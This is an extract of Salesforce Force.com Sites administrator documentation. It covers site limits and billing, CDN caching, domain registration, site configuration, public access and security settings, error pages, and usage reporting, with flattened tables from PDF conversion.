This section defines the terminology used for Force.com sites limits and billing: Page Views are calculated as the total number of pages served from either the site's origin server or the cache server. Bandwidth is calculated as the number of megabytes served and received from both the site's origin server and the cache server. Service request time is calculated as the total server time in minutes required to generate pages for the site. Rolling 24-hour period refers to the 24 hours immediately preceding the current time. Origin server refers to the Web server that hosts your site. Cache server refers to the CDN server that serves your cached site pages. Current period refers to the current calendar month for which you are entitled a certain number of page views for your organization.

1494

Force.com Sites

Force.com Sites Limits and Billing

Sites Limits and Restrictions


The following table lists the site limits for each edition: Edition Maximum Number Bandwidth Limit (per rolling Service Request Time (per of Sites 24-hour period per site) rolling 24-hour period per site) 500 MB 10 GB 1 GB for sandbox 40 GB for production Unlimited Edition 25 1 GB for sandbox 40 GB for production 10 minutes 360 minutes 30 minutes for sandbox 60 hours for production 30 minutes for sandbox 60 hours for production 1,000,000 Maximum Page Views N/A 250,000 500,000

Developer Edition 1 Free Edition 1

Enterprise Edition 25

Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage analytics tools to monitor your sites.

Billing and Monthly Page Views Enforcement


This section describes how salesforce.com enforces limits on monthly page views for sites: Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative for all sites in your organization. If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and billing administrators email notification. If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and billing administrators, as well as the related account executive. If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and billing administrators, as well as the related account executive.

What Counts as a Page View?


This section describes how page views are counted for sites. A page view is a request from a non-authenticated site user to load a page associated with one of the sites within your Force.com domain or custom domain. Requests from authenticated portal users are not counted as page views. Requests that Count as Page Views Requests for the following are counted as page views: Requests for... Your Force.com domain Your custom Web address Any page associated with your site Authorization Required error page Example URL
http://mycompany.force.com http://mycompany.com http://mycompany.force.com/mypage http://mycompany.force.com/Unauthorized

1495

Force.com Sites

Caching Force.com Sites Pages

Requests for... Ajax requests

Example URL n/a

Requests that Do Not Count as Page Views Requests for the following are not counted as page views: Requests for... Salesforce images Your static resources Robots.txt Favorite icon Attachments and Documents Error pages, apart from Authorization Required, such as Limit Exceeded and Maintenance Example URL
http://mycompany.force.com/img/force_logo_w09.gif http://mycompany.force.com/resource/1233771498000/background http://mycompany.force.com/robots.txt http://mycompany.force.com/favicon.ico

n/a
http://mycompany.force.com/BandwidthExceeded

Note: Limit Exceeded, Maintenance, Page Not Found, and designated Inactive Home pages aren't counted against page view and bandwidth limits. You can use static resources to brand these pages, but the following limitations apply: Static resources must be 50 KB or smaller in size. Static resources must be style sheets (CSS), image files, or JavaScript files. You can't use Apex controllers for these pages. You can't perform SOQL or DML operations from these pages.

See Also:
Force.com Sites Overview Caching Force.com Sites Pages Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics

Caching Force.com Sites Pages


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites enforces two 24-hour rolling limitsbandwidth and service request timewhich vary by organization type. Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages

1496

Force.com Sites

Caching Force.com Sites Pages

that consume lots of bandwidth or processing time. Rolling 24-hour period refers to the 24 hours immediately preceding the current time. Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits. Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users. Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds). For example, a page whose cache is set to expire in 15 minutes looks like this:
<apex:page cache="true" expires="900">

Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer Edition organizations. To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached via the CDN. Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN. Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these cases. For Requests Coming from the Caching Server If the site is login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached Caching Location Caching server only Caching server only None

If the site is not login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached Caching Location Both caching server and browser Both caching server and browser None

For Requests Not Coming from the Caching Server If the site is login-enabled:

1497

Force.com Sites

Setting Up Force.com Sites

Cache Attribute Set to TRUE Not Set Set to FALSE

Caching Behavior Not cached Not cached Not cached

Caching Location None None None

If the site is not login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached Caching Location Browser only Browser only None

See Also:
Force.com Sites Overview Force.com Sites Limits and Billing Setting Up Force.com Sites Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics

Setting Up Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username and password. To set up a Force.com site: 1. Click Your Name > Setup > Develop > Sites. 2. Register a custom Force.com domain for your organization.

1498

Force.com Sites

Managing Force.com Sites

3. Create and configure your site. 4. Develop and use Visualforce pages for your site, use or hide standard pages, and customize or replace out-of-box error pages. Associate these pages with your site. 5. Choose a site template. Use the lookup field to find and select a template that you've developed, or use the out-of-box template provided. The site template provides the page layout and stylesheet for your site and overrides any formatting inherited from the associated portal. 6. Enable a portal for login or self-registration, then associate it with your site. 7. Optionally, modify public access settings. 8. When you are ready to make your site public, click Activate on the Site Details page. You can also activate your site from the Site Edit and Sites pages. Once you have set up a site, you can: Run reports and dashboards on your site. Create workflow rules that trigger email alerts when site-related criteria are met.

See Also:
Force.com Sites Overview Managing Force.com Sites Creating and Editing Force.com Sites Configuring Force.com Sites Associating a Portal with Force.com Sites

Managing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

To get started using Force.com sites, click Your Name > Setup > Develop > Sites. From this page, you can: Register your Force.com domain, if you have not yet done so. View all sites hosted on your Force.com domain. Click New to create a new site. Click Edit to make changes to an existing site. Click Activate or Deactivate to change the active status for your site. Caution: Be careful not to expose any information that you do not want to make public.

Click the site's label to view that site's details.

1499

Force.com Sites

Registering a Custom Force.com Domain

Click the site's URL to open that site in a browser.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Creating and Editing Force.com Sites Configuring Force.com Sites

Registering a Custom Force.com Domain


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Your company's Force.com domain is used for all the sites that you create. Even if you register a branded Web address for your site, you must choose a Force.com domain. The branded URL will be redirected to the Force.com domain. Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME record that you provide to that registrar must be your Force.com domain name and not the site URL. For example, if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com, not the full value of the site URL. To register your Force.com domain: 1. Click Your Name > Setup > Develop > Sites. 2. Enter a unique name for your Force.com domain. A Force.com domain name can contain only alphanumeric characters and hyphens, and must be unique in your organization. It must begin with a letter, not include spaces, not end in a hyphen, and not contain underscores or periods. Salesforce.com recommends using your company's name or a variation, such as mycompany. Caution: You can't modify your Force.com domain name after you have registered it.

3. Click Check Availability to confirm that the domain name you entered is unique. If it isn't unique, you are prompted to change it. 4. Read and accept the Sites Terms of Use by selecting the checkbox. 5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It may take up to 48 hours for your registration to take effect. Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com

1500

Force.com Sites

Creating and Editing Force.com Sites

suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance name is na1, and the sandbox instance name is cs1: Organization Type Developer Edition Sandbox Production Secure URL
https://mycompany-developer-edition.na1.force.com https://mycompany.mysandbox.cs1.force.com https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login Settings page.

See Also:
Force.com Sites Overview Force.com Sites Considerations Setting Up Force.com Sites

Creating and Editing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

After registering your Force.com domain, create a Force.com site using the following steps: 1. Click Your Name > Setup > Develop > Sites. 2. Click New or click Edit for an existing site. 3. On the Site Edit page, define the following: Field
Site Label Site Name

Description The name of the site as it appears in the user interface. The name used when referencing the site in the Web services API. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the site. The user who will receive site-related communications from the site's visitors and salesforce.com.

Site Description Site Contact

1501

Force.com Sites

Creating and Editing Force.com Sites

Field
Default Web Address

Description The unique Force.com URL for this site. Force.com provides the first part of the URL based on the domain name that you registered; you must add a unique site name to the end. Unless you configure a custom Web address through a domain name registrar, this is the URL that the public will use to access your site. The unique Force.com URL for this site when using SSL. The secure Web address is used for SSL even if you defined a custom Web address. The optional branded custom Web address that you registered with a third-party domain name registrar. The custom Web address acts as an alias to your Force.com address. To enable a custom Web address, create a CNAME record to your Force.com domain with that registrar. If you have not registered this address, you encounter an error. Custom Web addresses aren't supported for sandbox or Developer Edition organizations. Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME record that you provide to that registrar must be your Force.com domain name and not the site URL. For example, if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com, not the full value of the site URL.

Secure Web Address

Custom Web Address

Active

The option that activates your site when you are ready to make it available to the public. You can also activate your site from the Sites and Site Details pages. When the site is inactive, users will see the page specified in the Inactive Site Home Page field. The landing page that users are directed to when this site is active. Use the lookup field to find and select the Visualforce page that you developed for your site's home page. Choose the UnderConstruction page if you just want to test your site. For ideas sites, you must use the IdeasHome page and for answers sites you must use the AnswersHome page. The look and feel for your Ideas site or Answers site will be inherited from its associated portal unless you select a site template. If you deployed a site before the Summer '10 release, you can set AnswersHome as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>

Active Site Home Page

Inactive Site Home Page

The landing page that users are directed to when this site is inactive. Use the lookup field to find and select the page that you want to use. You can, for example, select a page to indicate that the site is under construction or down for maintenance. The template that provides the page layout and stylesheet for your site. The site template overrides any formatting inherited from the associated portal. Use the

Site Template

1502

Force.com Sites

Creating and Editing Force.com Sites

Field

Description lookup field to find and select a template that you've developed, or use the out-of-box template provided. Note: The site template specified here is used only for Visualforce pages using the $Site.Template expression.

Site Robots.txt

A file that determines which parts of your public site Web spiders and other Web robots can access. Web robots are often used by search engines to categorize and archive websites. HTML tags are not allowed, as they are not compatible with robots.txt spiders. For Visualforce pages, add contentType="text/plain" to the <apex:page> tag. Example disallowing all robots from indexing all pages:
<apex:page contentType="text/plain"> User-agent: * # Applies to all robots Disallow: / # Disallow indexing of all pages </apex:page>

Example allowing all robots to index all pages:


<apex:page contentType="text/plain"> User-agent: * # Applies to all robots Disallow: # Allow indexing of all pages </apex:page>

Site Favorite Icon

The icon that appears in the browser's address field when visiting the site. Use this field to set the favorite icon for your entire site instead of for each page. Changes will be reflected on your site one day after you make them, due to caching. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site. An Apex class to use for rewriting URLs for your site, from Salesforce URLs to user-friendly URLs. With this class, you can make rules to rewrite site URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. For more information, see Site.UrlRewriter in the Force.com Apex Code Developer's Guide.

Analytics Tracking Code

URL Rewriter Class

Enable Feeds

The option that displays the Syndication Feeds related list, where you can create and manage syndication feeds for users on your public sites. This field is visible only if you have the feature enabled for your organization.

1503

Force.com Sites

Configuring Force.com Sites

4. Click Save.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Managing Force.com Sites Configuring Force.com Sites Force.com Sites-Related Apex Methods and Expressions

Configuring Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Once you have created your site, you can configure it on the Site Details page. To access this page, click Your Name > Setup > Develop > Sites, and then in the Sites list, click the site name. You can do the following: Click Edit to make changes to the site. Click Public Access Settings to view or edit the security settings, including permissions, page layouts, and more. Click Login Settings to configure the login and registration settings for your site. Built-in login and registration logic allows users to quickly register for, and seamlessly log in to, your portal from your public site. Click URL Redirects to see any page redirects you've set up for your site. Click Activate or Deactivate to change the active status for your site. Caution: Be careful not to expose any information that you do not want to make public.

Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors on each site page in context and in greater detail, so you can more easily troubleshoot site issues. Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All pages associated with the site must be enabled. Click Page Assignment to assign error pages for standard errors, such as Authorization Required (401) and Page Not Found (404). You can override or edit the default pages that are provided. Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list to display this related list. View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and the percentage used.

1504

Force.com Sites

Reporting on Force.com Sites

View the Site History related list to see the configuration changes that have been tracked for your site.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites Managing Force.com Site Visualforce Pages Managing Force.com Site Standard Pages Assigning Force.com Site Error Pages Viewing 24-Hour Force.com Sites Usage History Viewing Force.com Site History Public Access Settings for Force.com Sites Managing Force.com Site Login and Registration Settings About Syndication Feeds

Reporting on Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To install packages: To run reports: Download AppExchange Packages Run Reports AND Read on the records included in reports To create, edit, save, and delete reports: Run Reports and Read on the records included in the reports AND Create and Customize Reports To create, edit, and delete dashboards: Run Reports AND Manage Dashboards

To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for individual sites, as well as for your organization. To get started using Salesforce analytics for sites: 1. Install the Sites Usage Reporting managed package. 2. Use packaged reports to analyze site usage.

1505

Force.com Sites

Reporting on Force.com Sites

3. Optionally, create custom reports to analyze site usage. 4. Use the Site Usage Dashboard to monitor sites.

Install the Sites Usage Reporting Managed Package


The Sites Usage Reporting managed package, available on AppExchange, contains out-of-the-box reports and a dashboard for monitoring sites usage. To find the Sites Usage Reporting managed package, go to AppExchange and search on sites reporting, or go to http://sites.force.com/appexchange/listingDetail?listingId=a0N30000001SUEwEAO.

Use Packaged Reports to Analyze Site Usage


The Sites Usage Reporting managed package contains the following reports to help you perform analytics on usage for the sites in your organization. You can find these reports in the Site Usage Reports folder under All Reports in the Reports tab. You can also select Site Usage Reports in the Folder drop-down list, then click Go. Note: Site usage data is aggregated at midnight, GMT, so the current day's page view counts may not be accurately reflected in reports, depending on your time zone. Cache server page views may take a day or more to be reflected in reports. Report Current Period Page Views Description Shows the total page views for the current period (calendar month), measured against page views allowed. Page views are broken down by site and by day. The current period limit applies to all sites within the organization. Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and by origin and cache servers. Shows the total page views over the last 30 days, broken down site, by day, and by origin and cache servers. Shows the total origin bandwidth usage over the last 30 days, broken down by site and by day. Shows the total origin service request time over the last 30 days, broken down by site and by day.

Daily Total Bandwidth Usage Daily Total Page Views Site Daily Origin Bandwidth Usage Site Daily Request Time Usage

Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period. Top Resource Consuming Sites Top Sites by Page Views Shows the sites that consumed the most service request time during the current period. Shows the sites that generated the most page views during the current period.

Create Custom Reports to Analyze Site Usage


You can also create custom reports on sites: 1. From the Reports tab, click New Report. 2. For the report type, select Administrative Reports, then Site Usage Reports. You must enable sites for your organization and install the Sites Usage Reporting managed package to see the Site Usage Reports custom report type. 3. Click Create and follow the instructions for creating a custom report. Fields related to your sites, such as Site Name, Site Status, Daily Bandwidth Limit, and Daily Request Time Limit can all be used in your custom report.

1506

Force.com Sites

Force.com Sites Security

Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds. Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively. For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request time is measured in minutes.

Use the Site Usage Dashboard to Monitor Sites


The Sites Usage Reporting managed package contains the Site Usage Dashboard to help you monitor the sites in your organization at a glance. The dashboard contains a component for each of the reports provided in the managed package. To access the dashboard, from the Dashboards tab: Use the View Dashboard field. Or, click Go to Dashboard List and select Site Usage Dashboard from the dashboard list.

To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard snapshot on your home page.

See Also:
Force.com Sites Overview Viewing 24-Hour Force.com Sites Usage History Tracking Your Force.com Site with Google Analytics Reports Overview Dashboards Overview

Force.com Sites Security


Available in: Developer, Enterprise, and Unlimited Editions

Consider the following security issues when setting up your Force.com site: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the associated portal from the site will see the secure.force.com domain. For example, if you registered mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com upon login. For more information, see Managing Force.com Site Login and Registration Settings. Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com. To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your Force.com domain to access your site. To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to

1507

Force.com Sites

Public Access Settings for Force.com Sites

ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't

enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the next time they log in. Authenticated and non-authenticated users may see different error messages for certain conditionsfor example, on Apex exceptions. Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS. Note: If a site within a sandbox (non-production) organization is accessed using HTTPS, a certificate name mismatch warning may appear.

Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches. Caution: We recommend setting the sharing to private for the objects on which you grant Read access for your site. This ensures that users accessing your site can view and edit only the data related to your site. We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible to all users may be visible to public users of your site. To share a list view with public users, create a new public group for those users and give them visibility. If the object's sharing is set to private, public users won't be able to see those records, regardless of list view visibility.

Public Access Settings for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Public access settings control what public users can do on each Force.com site. To set the public access settings for your site: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to control. 3. Click Public Access Settings to open the Profile page for your site profile. This page includes all the functionality for viewing and editing profile permissions and settings, but you can't clone or delete the profile. For information on viewing and editing profiles, see User Profiles Overview on page 490. In the site profile, you can:

1508

Force.com Sites

Public Access Settings for Force.com Sites

Set the object permissions for your site. You can grant Read and Create permissions on all standard objects except products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. All permissions that aren't set by default must be set manually. Caution: We recommend setting the sharing to private for the objects on which you grant Read access for your site. This ensures that users accessing your site can view and edit only the data related to your site. We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible to all users may be visible to public users of your site. To share a list view with public users, create a new public group for those users and give them visibility. If the object's sharing is set to private, public users won't be able to see those records, regardless of list view visibility.

Control the visibility of custom apps. If you want to expose a custom app and its associated tabs to public users, make only that app visible and make it the default to avoid exposing other pages. If any of your site pages use standard Salesforce headers, other visible applications may be seen by public users. Set the login hours during which users can access the site. Restrict the IP address ranges from which you can access the site. Force.com sites ignore company-wide IP range restrictions in order to provide public access; however, you can restrict the IP range here. Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your Force.com domain to access your site. To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the next time they log in. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in Sandbox organizations for the Winter '12 release.

Enable Apex controllers and methods for your site. Controllers and methods that are already associated with your site's Visualforce pages are enabled by default. Enable Visualforce pages for your site. Changes made here are reflected on the Site Visualforce Pages related list on the Site Details page, and vice versa.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Force.com Sites-Related Apex Methods and Expressions Setting Your Organization-Wide Sharing Defaults Managing the Sharing Settings Creating Custom List Views

1509

Force.com Sites

Managing Force.com Site Visualforce Pages

Managing Force.com Site Visualforce Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for their stylesheet and images. Caution: Don't rename or delete SiteSamples or you may get an error.

All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce Pages, an authentication or page-not-found error is displayed based on the existence of the page. To enable Visualforce pages for your site: 1. 2. 3. 4. 5. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to modify. Click Edit on the Site Visualforce Pages related list. Use the Add and Remove buttons to enable or disable Visualforce pages for your site. Click Save. Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a page from this list, but it is still selected in one of these places, public users can access that page. To completely remove pages from your site, disable them here and make sure they are not selected in any lookup fields for your site. If you don't want to enable a Visualforce page for your entire site, you can also enable pages for specific profiles.

The My Profile Page


The My Profile page is a Visualforce page associated with a Customer Portal or site user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding portal user and contact records are updated. The My Profile page can be enabled either for your entire site or in a more restricted way by assigning it to the site guest user profile.

1510

Force.com Sites

Managing Force.com Site Standard Pages

The My Profile page is also delivered as part of the Customer Portal Welcome component on your home page layout. For more information, see Designing Home Tab Page Layouts.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Standard Pages Assigning Force.com Site Error Pages What is a Static Resource?

Managing Force.com Site Standard Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can use. All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages, Salesforce displays an authorization required error. To control which standard pages users see for your site: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to view. Click Edit on the Site Standard Pages related list. Use the Add and Remove buttons to enable or disable the following standard pages for your site: Home PageThe standard page associated with the Home tab (/home/home.jsp). Ideas PagesThe standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome), enable these pages. Answers PagesThe standard pages associated with answers. If you want to use default answers pages (for example, AnswersHome), enable these pages. Search PagesThe standard Salesforce search pages. To allow public users to perform standard searches, enable these pages. Lookup PagesThe standard Salesforce lookup pages. These are the popup windows associated with lookup fields on Visualforce pages.

5. Click Save.

1511

Force.com Sites

Assigning Force.com Site Error Pages

Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Visualforce Pages Assigning Force.com Site Error Pages

Assigning Force.com Site Error Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for their stylesheet and images. Caution: Don't rename or delete SiteSamples or you may get an error.

To set the error pages for your site: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to modify. Click Page Assignment on the Error Pages related list. Using the lookup fields, assign a Visualforce page or static resource for each of the standard error conditions listed:
Authorization Required PageThe page users see when trying to access pages for which they do not have

authorization.
Limit Exceeded PageThe page users see when your site has exceeded its bandwidth limits. Maintenance PageThe page users see when your site is down for maintenance. Service Not Available PageThe page users see when Salesforce servers are unavailable. This custom page is

rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned as the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations. If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by default.

1512

Force.com Sites

Viewing 24-Hour Force.com Sites Usage History

Note: The static resource: Must be a public zip file 1 MB or smaller. Must contain a page named maintenance.html at the root level of the zip file. Other resources in the zip file, such as images or CSS files, can follow any directory structure. Must contain only files that have file extensions.
Page Not Found PageThe page users see when trying to access a page that cannot be found.

Note: You can use the action attribute on an <apex:page> component to redirect the Page Not Found error page. Using this kind of redirect on any other error pages will redirect users to the Maintenance page.
Generic Error PageThe page users see when encountering generic exceptions.

5. Click Save. 6. On the Site Details page, click Preview to view the associated page as it would appear in a browser. Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom Visualforce error pages to view detailed site error messages in administrator preview mode.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Visualforce Pages Managing Force.com Site Standard Pages

Viewing 24-Hour Force.com Sites Usage History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By closely monitoring your sites, you can avoid exceeding your limits. To view the 24-hour usage history for your site: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to view. 3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing time.

1513

Force.com Sites

Viewing Force.com Site History

The 24-Hour Usage History related list tracks and displays the following usage metrics for your site: Metric Origin Bandwidth Request Time How It's Calculated Bandwidth is calculated as the number of megabytes served and received from the site's origin server. The Daily Limit applies to a rolling 24-hour period. Service request time is calculated as the total server time in minutes required to generate pages for the site. The Daily Limit applies to a rolling 24-hour period.

Origin server refers to the Web server that hosts your site. Rolling 24-hour period refers to the 24 hours immediately preceding the current time. For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.

See Also:
Force.com Sites Overview Force.com Sites Considerations Setting Up Force.com Sites Configuring Force.com Sites Tracking Your Force.com Site with Google Analytics Reporting on Force.com Sites

Viewing Force.com Site History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

To view the site history: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to view. 3. View the Site History related list. The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the site history, along with the user who made the change and the time it occurred: Event Site Creation Site Detail Changes Description Logs when each site was created. Changes to the following site values are logged: Site Label

1514

Force.com Sites

Viewing Force.com Site History

Event

Description Site Name Site Description Site Contact Default Web Address Custom Web Address Active Status Active Site Home Page Inactive Site Home Page Site Template Site Robots.txt Site Favorite Icon Analytics Tracking Code Enable Feeds

Site Standard Pages Site Error Pages Login Settings Changes

Logs when any standard page is enabled or disabled. Logs when any error page assignment is changed. Changes to the following login settings are logged: Portal Change Password Page Require Non-Secure Connections (HTTP) Logs when any URL redirect is created, deleted, enabled, disabled, or changed.

URL Redirect Changes

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites

Managing Force.com Site Login and Registration Settings

1515

Force.com Sites

Managing Force.com Site Login and Registration Settings

Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

